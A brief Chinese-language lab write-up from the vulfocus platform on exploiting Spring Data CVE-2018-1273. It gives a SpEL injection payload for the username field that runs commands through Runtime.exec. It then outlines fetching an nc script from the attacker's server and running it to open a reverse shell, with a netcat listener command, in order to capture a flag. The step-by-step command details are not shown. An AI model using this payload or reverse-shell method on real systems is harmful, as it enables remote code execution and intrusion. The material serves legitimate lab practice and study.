vulfocus spring 代码执行 （CVE-2018-1273）

CDxiaodong

spring
代码执行
（CVE-2018-1273）
漏洞利用：
打开网站 ip/users

填写信息 点击 Register user 然后抓包
改包
username[#this.getClass().forName("java.lang.Runtime").getRuntime().e
xec("AAAA")]=xxx&password=xxx&repeatedPassword=xxx
Exec 内为命令执行
思路：主机创建一个服务器并放入一个 nc 命令脚本用于反弹 shell 出来
在 exec 内先创建文件夹，然后在修改一次 exec 执行命令连接我们的服务器并下
载 nc 命令脚本到新创建的文件夹
再修改一次 exec 去执行此脚本
并进行反弹到我们的主机进行监听
0x01
创建文件夹


0x02
下载本地的 nc 脚本


0x03
再执行该脚本


nc -lvvp 4567 监听
获取 flag